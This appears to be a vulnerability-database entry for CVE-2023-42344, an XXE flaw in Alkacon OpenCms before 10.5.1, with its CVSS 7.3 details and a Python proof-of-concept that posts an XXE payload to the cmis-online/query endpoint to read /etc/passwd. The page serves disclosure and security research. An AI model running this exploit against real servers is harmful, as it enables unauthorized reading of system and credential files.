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CVE-2023-42344 CVSS 7.3 HIGH

CVE-2023-42344

Published: 2026-05-08 05:16:10
Last Modified: 2026-05-08 15:58:49

Description

Alkacon OpenCms before 10.5.1 allows remote unauthenticated attackers to obtain sensitive information via a cmis-online/query XXE attack on a Chemistry servlet.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Alkacon OpenCms < 10.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL, replace with actual target url = "http://target:8080/opencms/cmis-online/query" # XXE Payload attempting to read /etc/passwd xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <cmis:query xmlns:cmis="http://docs.oasis-open.org/ns/cmis/core/200908/"> <cmis:statement>SELECT * FROM cmis:document WHERE &xxe;</cmis:statement> </cmis:query> """ headers = { "Content-Type": "application/xml" } try: # Sending the POST request response = requests.post(url, data=xxe_payload, headers=headers, timeout=10) # Checking if the attack was successful if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Response Content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"Error: {e}")

References

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